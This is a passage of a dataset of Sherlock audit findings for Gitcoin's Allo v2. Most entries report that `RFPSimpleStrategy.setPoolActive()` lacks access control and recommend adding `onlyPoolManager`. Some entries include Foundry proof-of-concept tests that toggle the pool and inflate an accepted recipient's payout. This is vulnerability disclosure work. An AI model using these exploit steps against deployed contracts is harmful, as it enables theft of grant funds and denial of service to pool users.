to the maximum\n data = abi.encode(attacker, false, strategy.maxBid(), metadata);\n\n // Update the proposalBid\n vm.prank(address(allo()));\n strategy.registerRecipient(data, attacker);\n\n _recipient = strategy.getRecipient(recipientId);\n console.log(\"Attacker proposal bid after attack: %s\", _recipient.proposalBid);\n\n vm.prank(attacker);\n strategy.setPoolActive(false);\n console.log(\"Switch pool status to inactive\");\n // --- End attack transaction\n\n // Distribute\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n\n assertEq(attacker.balance, proposalBid * 7e17 / 1e18);\n}\n\n```\n\n## Tool used\n`forge test`\nThe snippet can be copied to `test/foundry/strategies/RFPSimpleStrategy.t.sol` and executed\n\n## Recommendation\nConsider using the `onlyPoolManager(msg.sender)` modifier for the [setPoolActive](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/188.md"}} +{"title":"RFPSimpleStrategy#setPoolActive","severity":"major","body":"Brilliant Chambray Reindeer\n\nhigh\n\n# RFPSimpleStrategy#setPoolActive\nThe function `setPoolActive()` in RFPSimpleStrategy lacks access control, letting anyone toggle the pool between active and inactive, bricking important functionality in the contract.\n## Vulnerability Detail\nLet's see the code of the function:\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nThere is no access control but the comment states `@dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event`. The internal function `_setPoolActive()` that we inherit from BaseStrategy.sol doesn't have an additional check either:\n```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n## Impact\nA malicious user can continuously front-run the pool manager setting the pool to active/inactive and essentially bricking the most important functions in the contract that depend on the pool being active/inactive:\n```solidity\nfunction withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool\n```\n```solidity\nfunction _registerRecipient(bytes memory _data, address _sender) internal override onlyActivePool\n```\n```solidity\nfunction _allocate(bytes memory _data, address _sender)internal virtual override nonReentrant onlyActivePool onlyPoolManager(_sender)\n```\n```solidity\nfunction _distribute(address[] memory, bytes memory, address _sender) internal virtual override onlyInactivePool onlyPoolManager(_sender)\n```\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd access control as stated in the comment:\n```solidity\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/186.md"}} +{"title":"setPoolActive() function missing onlyPoolManager(msg.sender)","severity":"major","body":"Low Corduroy Cow\n\nhigh\n\n# setPoolActive() function missing onlyPoolManager(msg.sender)\n\n`setPoolActive()` function missing `onlyPoolManager(msg.sender)` ,it will cause anyone to set the pool acitve status.\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Impact\n\nit will cause anyone to set the pool acitve status.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nadd `onlyPoolManager(msg.sender)`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/181.md"}} +{"title":"Anyone can activate or de-activate an `RFPSimpleStrategy` pool","severity":"major","body":"Powerful Shadow Sloth\n\nhigh\n\n# Anyone can activate or de-activate an `RFPSimpleStrategy` pool\n\n[`setPoolActive()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219) in `RFPSimpleStrategy.sol` has no access controls and is marked `external`, which means anyone can call it.\n\n## Vulnerability Detail\n\n## Impact\n\nHigh\n\n## Code Snippet\n\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external { // @audit - add a modifier here, or remove the function\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd access controls on `setPoolActive()`, or preferably, remove it completely, as even if the `onlyPoolManager` modifier is added it would give pool managers a high degree of power over the strategy.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/171.md"}} +{"title":"[M-01] Anyone can toggle `RFPSimpleStrategy:setPoolActive` and halt fund distribution and participant registration","severity":"major","body":"Brave Cloth Mole\n\nmedium\n\n# [M-01] Anyone can toggle `RFPSimpleStrategy:setPoolActive` and halt fund distribution and participant registration\n\nAnyone can toggle `RFPSimpleStrategy:setPoolActive` and halt fund distribution and registration. The `onlyPoolManager(msg.sender)` modifier should be added to the function.\n\n## Vulnerability Detail\n\nIn `RFPSimpleStrategy`, fund allocation, withdrawal and distribution, as well as participant registry depend on `onlyActivePool` and `onlyInactivePool` modifiers.\n\nPool active status should be determined by the pool manager, however curently, anyone can toggle the pool active status via `RFPSimpleStrategy::setPoolActive`.\n\n## Impact\n\nThis presents a cheap and simple griefing vector that an attacker can use to halt registry, fund allocations, withdrawals and distributions.\n\n## Code Snippet\n\nCode snippet:\n\n``` solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nAdd this test to `RFPSimpleStrategy.t.sol` to verify:\n\n``` solidity\n function test_pool_toggle() public {\n allo().fundPool{value: 1e18}(poolId, 1e18);\n address random = vm.addr(0x12345);\n vm.startPrank(random);\n strategy.setPoolActive(false);\n }\n```\n\n## Tool used\n\nManual Review, Foundry\n\n## Recommendation\n\nAdd the `onlyPoolManager(msg.sender)` modifier to `setPoolActive()`.\n\n``` solidity\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/169.md"}} +{"title":"`RFPSimpleStrategy.setPoolActive` lacks permission control","severity":"major","body":"Fancy Khaki Perch\n\nhigh\n\n# `RFPSimpleStrategy.setPoolActive` lacks permission control\n`RFPSimpleStrategy.setPoolActive` lacks permission control\n## Vulnerability Detail\nThe documentation for `RFPSimpleStrategy.setPoolActive` explicitly states that the function can only be called by the pool manager, but in practice, there are no permission controls in place.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n```solidity\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279\n```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n## Impact\nAnyone can change the pool's active status, thereby manipulating the return results of `onlyInactivePool` and `onlyActivePool`.\n\nFor example, since the `withdraw` function requires the pool's status to be inactive, an attacker could front-run `setPoolActive` to prevent the execution of `withdraw`, compromising the core functionality of the protocol.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/_poc/direct-grants-simple/DirectGrantsSimpleStrategy.sol#L372-L378\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n }\n```\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a modifier similar to `DirectGrantsSimpleStrategy`.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/_poc/direct-grants-simple/DirectGrantsSimpleStrategy.sol#L364-L367\n```solidity\n function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/166.md"}} +{"title":"Missing \"onlyPoolManager\" modifier","severity":"major","body":"Tame Grey Wombat\n\nhigh\n\n# Missing \"onlyPoolManager\" modifier\nAnybody can toggle strategy status between active and inactive \n## Vulnerability Detail\nFunction `setPoolActive` must be called by only user with role `Pool Manager`, but function doesn't have modifier `onlyPoolManager`. The function is in the file `allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol` \n## Impact\nAnybody can change state `poolActive` variable. Role model violation.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\nFile: `allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol` \n```solidity\ncontract RFPSimpleStrategy is BaseStrategy, ReentrancyGuard {\n ....\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n ....\n}\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nRecommend to add `onlyPoolManager` modifier.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/160.md"}} +{"title":"`RFPSimpleStrategy.setPoolActive` has no access control","severity":"major","body":"Clever Metal Giraffe\n\nhigh\n\n# `RFPSimpleStrategy.setPoolActive` has no access control\n\nThe active flag of `RFPSimpleStrategy` is very important. When the pool is active, `registerRecipient` and `allocate` can be called. When the pool is inactive, `distribute` and `withdraw` can be called. However, `RFPSimpleStrategy.setPoolActive` has no access control, leading to DoS of many functionalities.\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy.setPoolActive` has no access control. Every user can call it to change the active status of the pool.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\n```solidity\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\nAn attack can change the active status to inactive to block recipient registration.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317\n```solidity\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n onlyActivePool\n returns (address recipientId)\n```\n\nAn attack can also change the active status to active to block distribution.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n```\n\n## Impact\n\nAttackers can easily DoS many functions in `RFPSimpleStrategy`\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L317\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L421\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nApply necessary access control on `RFPSimpleStrategy.setPoolActive`\n```diff\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/157.md"}} +{"title":"RFPSimpleStrategy setPoolActive function has no onlyPoolManager modifier","severity":"major","body":"Silly Carob Opossum\n\nhigh\n\n# RFPSimpleStrategy setPoolActive function has no onlyPoolManager modifier\n\nThe `setPoolActive` function in `RFPSimpleStrategy.sol` has no `onlyPoolManager` modifier.\n\n```solidity\n/// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\nfunction setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n}\n```\n\nAlso, it emits the `PoolActive` event twice because the internal `_setPoolActive` function in `BaseStrategy.sol` emits it too.\n\n```solidity\nfunction _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n}\n```\n\n## Vulnerability Detail\n\nAnyone is allowed to change the activity status of the pool, which strategy is (or extends) RFPSimpleStrategy.\n\n## Impact\n\nIt can affect all the scenarios that use functions with `onlyActivePool` and `onlyInactivePool` modifiers. \n\n1. The most critical one is that the accepted recipient can increase the payout amount by activating the pool and calling the `registerRecipient` function once again to update `proposalBid`.\n2. Also, it's possible to prevent the registration of other recipients or prevent the owner from withdrawing funds.\n\n## POC\n\nAdd this test to `RFPSimpleStrategyTest`, run with `forge test --mc RFPSimpleStrategyTest --mt testPOC -vv`.\n\n```solidity\nfunction testPOC() external {\n // Register recipient with initial proposalBid equals half of strategy max maxBid\n address attacker = recipient();\n uint256 initialProposalBid = maxBid / 2;\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n bytes memory data = abi.encode(attacker, false, initialProposalBid, metadata);\n\n vm.prank(address(allo()));\n address recipientId = strategy.registerRecipient(data, attacker);\n\n RFPSimpleStrategy.Recipient memory _recipient = strategy.getRecipient(recipientId);\n assertEq(uint8(_recipient.recipientStatus), uint8(IStrategy.Status.Pending));\n assertEq(_recipient.proposalBid, initialProposalBid);\n\n // Set two milestones: 70% and 30% \n __setMilestones();\n\n // Accept recipient, pool becomes inactive\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(recipientId), address(pool_admin()));\n\n assertEq(strategy.acceptedRecipientId(), recipientId);\n assertEq(strategy.isPoolActive(), false);\n\n // Recipient sets pool active, updates proposalBid and sets pool inactive back again\n vm.prank(attacker);\n strategy.setPoolActive(true);\n assertEq(strategy.isPoolActive(), true);\n\n uint256 proposalBid = maxBid;\n data = abi.encode(attacker, false, proposalBid, metadata);\n\n vm.prank(address(allo()));\n strategy.registerRecipient(data, attacker);\n\n vm.prank(attacker);\n strategy.setPoolActive(false);\n assertEq(strategy.isPoolActive(), false);\n\n _recipient = strategy.getRecipient(recipientId);\n assertEq(_recipient.proposalBid, maxBid);\n\n // Recipient submits upcoming milestone\n vm.prank(attacker);\n strategy.submitUpcomingMilestone(Metadata({protocol: 1, pointer: \"metadata\"}));\n\n // Pool distributes funds\n uint256 attackerInitialBalance = attacker.balance;\n \n vm.deal(pool_admin(), 1e19);\n vm.prank(pool_admin());\n allo().fundPool{value: 1e19}(poolId, 1e19);\n\n vm.prank(address(allo()));\n strategy.distribute(new address[](0), \"\", pool_admin());\n\n // Recipient got x2 payout\n uint256 expectedPayout = (initialProposalBid * 7e17) / 1e18;\n uint256 payout = attacker.balance - attackerInitialBalance;\n assertEq(payout, expectedPayout * 2);\n}\n```\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the `onlyPoolManager` modifier, and remove emitting the `PoolActive` event.\n\n```solidity\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n _setPoolActive(_flag);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/151.md"}} +{"title":"Unauthorized modification of pool status in `setPoolActive` function","severity":"major","body":"Ambitious Brick Ladybug\n\nhigh\n\n# Unauthorized modification of pool status in `setPoolActive` function\nThe `setPoolActive` function in RFPSimpleStrategy contract, which toggles the active status of the pool, lacks proper access controls. This allows any user to change this status, disrupting the pool's intended functionality.\n## Vulnerability Detail\nThe `setPoolActive` function is designed to toggle the pool's active state. If a pool is set to inactive, certain operations, such as withdrawals by the pool manager, can be performed, whereas when the pool is active, other operations, like registering recipients, are possible.\nHowever, the function lacks the necessary access controls checks to ensure that only authorized entities can invoke this change.\n\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n## Impact\nAny user can deactivate an active pool or activate an inactive pool, disrupting the pool's standard operations and the intentions of its managers and participants.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n## Tool used\n\nManual Review\n\n## Recommendation\nAllow only authorized addresses to change the active status of the pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/147.md"}} +{"title":"`RFPSimpleStrategy.setPoolActive()` is missing the `onlyPoolManager(msg.sender)` modifier","severity":"major","body":"Cuddly Pewter Shark\n\nmedium\n\n# `RFPSimpleStrategy.setPoolActive()` is missing the `onlyPoolManager(msg.sender)` modifier\nAnybody can call the `RFPSimpleStrategy.setPoolActive()` to set the status of the contract.\n\n## Vulnerability Detail\n`RFPSimpleStrategy.setPoolActive()` is missing the `onlyPoolManager(msg.sender)` modifier, though it is mentioned in the comment above the function as:\n> 'msg.sender' must be a pool manager to close the pool\n\n## Impact\nDue to the missed modifier, anybody can close or open the pool at any moment.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L216-L222\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd the the `onlyPoolManager(msg.sender)` modifier.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/143.md"}} +{"title":"Missing access control on `setPoolActive()` in RFPSimpleStrategy.sol","severity":"major","body":"Original Sky Buffalo\n\nhigh\n\n# Missing access control on `setPoolActive()` in RFPSimpleStrategy.sol\nAnyone can toggle activate/deactivate the pool using an external function `setPoolActive` in [RFPSimpleStrategy.sol](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219). This could disrupt the operations of a pool in a short to medium term.\n\n## Vulnerability Detail\n`RFPSimpleStrategy.sol` implements a `setPoolActive` function which is supposed to be manager only. However it lacks any access control and anyone can call it. It affects `RFPSimpleStrategy` and `RFPCommitteeStrategy` that derives from it. \nWhile deactivating a pool is not permanent, it could allow anyone to disrupt normal operations of a pool as it could be deactivated anytime by anyone. Due it, the pool operations may be sabotaged and delayed as long as malicious actor will continue to turning the pool off or on.\n\n## Impact\nHigh likelihood that any external user can manipulate state of the pool by setting it active or not. Pool operations may be sabotaged and delayed as long as malicious actor will continue to turning the pool off. Operations that relies on pool state:\n\n- `RFPSimpleStrategy::withdraw` (inactive)\n- `RFPSimpleStrategy::_registerRecipient` (active)\n- `RFPSimpleStrategy::_allocate` (active)\n- `RFPSimpleStrategy::_distribute` (inactive)\n\nSo essentially with a determined attacker, these pool operations (which are the key ones) could be disrupted. It's a medium impact and high probability (as attack is simple and anyone can perform it even for \"fun\")\n\n## Code Snippet\n\n**RFPSimpleStrategy.sol**:\n```solidity\n\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n function setPoolActive(bool _flag) external { //@audit missing access control\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n**BaseStrategy.sol**:\n```solidity\n /// @notice Set the pool to active or inactive status.\n /// @dev This will emit a 'PoolActive()' event. Used by the strategy implementation.\n /// @param _active The status to set, 'true' means active, 'false' means inactive\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n\n```\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd a suitable modifier to allow manager only access, e.g.\n```solidity\nfunction setPoolActive(bool _flag) external onlyPoolManager(msg.sender) {\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/135.md"}} +{"title":"Missing access control on `setPoolActive()` in `RFPSimpleStrategy.sol`","severity":"major","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# Missing access control on `setPoolActive()` in `RFPSimpleStrategy.sol`\nMissing access control on `setPoolActive()` in `RFPSimpleStrategy.sol`\n\n## Vulnerability Detail\n## Impact\n\nIn `RFPSimpleStrategy.sol`, `setPoolActive()` is used to set the pool to active or inactive.\n\n```Solidity\nFile: contracts/strategies/rfp-simple/RFPSimpleStrategy.sol\n\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\n\n`_setPoolActive()` is given as,\n\n```Solidity\nFile: contracts/strategies/BaseStrategy.sol\n\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\n\nPer the Natspec of this function `'msg.sender' must be a pool manager to close the pool.`\n\n`setPoolActive()` must be accessed by pool manager only, however with current implementation. This can be accessed by anyone and can change the pool to active or inactive.\n\n`onlyInactivePool` and `onlyActivePool` modifier using functions will be largely affected if either of them made active or inactive inappropriately.\n\n```Solidity\nFile: contracts/strategies/BaseStrategy.sol\n\n function _checkOnlyActivePool() internal view {\n if (!poolActive) revert POOL_INACTIVE();\n }\n\n /// @notice Checks if the pool is inactive.\n /// @dev Reverts if the pool is active.\n function _checkInactivePool() internal view {\n if (poolActive) revert POOL_ACTIVE();\n }\n```\n\nThe following functions will be largely affected due to this issue,\n\n```Solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n\n\n function _registerRecipient(bytes memory _data, address _sender)\n internal\n override\n>> onlyActivePool\n returns (address recipientId)\n {\n\n\n function _allocate(bytes memory _data, address _sender)\n internal\n virtual\n override\n nonReentrant\n>> onlyActivePool\n onlyPoolManager(_sender)\n {\n\n\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n>> onlyInactivePool\n onlyPoolManager(_sender)\n {\n```\n\nTherefore, `setPoolActive()` must be protected with access control per Natspec.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L217-L219\n\n## Tool used\nManual Review\n\n## Recommendation\nAdd `onlyPoolManager(msg.sender)` modifier on `setPoolActive()`\n\n```diff\n\n /// @notice Toggle the status between active and inactive.\n /// @dev 'msg.sender' must be a pool manager to close the pool. Emits a 'PoolActive()' event.\n /// @param _flag The flag to set the pool to active or inactive\n- function setPoolActive(bool _flag) external {\n+ function setPoolActive(bool _flag) external onlyPoolManager(msg.sender){\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/134.md"}} +{"title":"Accepted recipient can manipulate amount received for a milestone in `RFPSimpleStrategy`","severity":"major","body":"Glamorous Hazelnut Haddock\n\nhigh\n\n# Accepted recipient can manipulate amount received for a milestone in `RFPSimpleStrategy`\nAccepted recipient can increase the amount they receive for a milestone (compared to what they proposed) in `RFPSimpleStrategy` due to lack of access control on `setPoolActive` and lack of status check in `_distribute`.\n\n## Vulnerability Detail\nThe proposal bid made by recipients is factored into the pool managers' decisions on which recipient to accept for funding. When a recipient proposal is chosen (allocated), the pool active state is set to false, disabling registrations and updates of existing registrations which should lock in the accepted recipient's `proposalBid`. The issue is there is no access control on `setPoolActive`, so the recipient (member of profile) can set the pool active state to `true` and increase their `proposalBid`, increasing the amount they will receive for an accepted milestone and breaking the proposed terms that the pool manager(s) based their fund allocation decision on.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\n```solidity\n function setPoolActive(bool _flag) external {\n _setPoolActive(_flag);\n emit PoolActive(_flag);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279\n```solidity\n function _setPoolActive(bool _active) internal {\n poolActive = _active;\n emit PoolActive(_active);\n }\n```\nTo guarantee at least one inflated payout, the following sequence could occur. Assume the accepted recipient's proposed bid is lower than the maximum bid (a lower proposed bid would make the proposal more attractive, potentially baiting pool managers).\n- Pool manager calls `distribute` for the upcoming milestone which has been submitted.\n- Recipient front runs this transaction with `setPoolActive(true)`, update to their registration with `proposalBid = maxBid` (ensuring it is less than `poolAmount`), and `setPoolActive(false)`\n- [`distribute`](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450) executes with `recipient.proposalBid = maxBid > original bid`, so the calculated `amount` transferred to `recipient.recipientAddress` is greater than expected (for the pool manager(s)). This will execute as long as `amount <= poolAmount`. Note that there is no check for the accepted recipient's status, so it does not matter that `recipient.recipientStatus = Status.Pending`.\n\nIf this increase goes unnoticed, the recipient could overall receive significantly more than suggested by their initial proposal given sufficient funds in the pool. In the more likely case this is detected through emitted events, the recipient still receives more funding for the single milestone than expected, after which the pool manager(s) would change the accepted recipient. This one-off payment could be abused to receive inflated payment for the completion of one milestone, after which the recipient could bail from completing further milestones.\n\n## Impact\nAccepted recipients can inflate the amount they receive for completed milestones (potentially all funds in pool depending on `maxBid` and `milestone.amountPercentage`, breaking the terms that pool managers based their allocation decision on.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L219-L222\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L276-L279\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider restricting `setPoolActive` to only pool managers.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//001-H/130.md"}} +{"title":"In RFPSimpleStrategy, winning bid can use bait-and-switch to increase bid after acceptance and steal funds","severity":"major","body":"Merry Punch Caterpillar\n\nhigh\n\n# In RFPSimpleStrategy, winning bid can use bait-and-switch to increase bid after acceptance and steal funds\n\nIn RFPSimpleStrategy, neither setPoolActive nor registerRecipient have proper access control. This allows anyone to change their bid at any time, including right before a payout. This means that someone can win the RFP with a low bid, but change it to a much higher one before payout.\n\nThere is another attack that involves 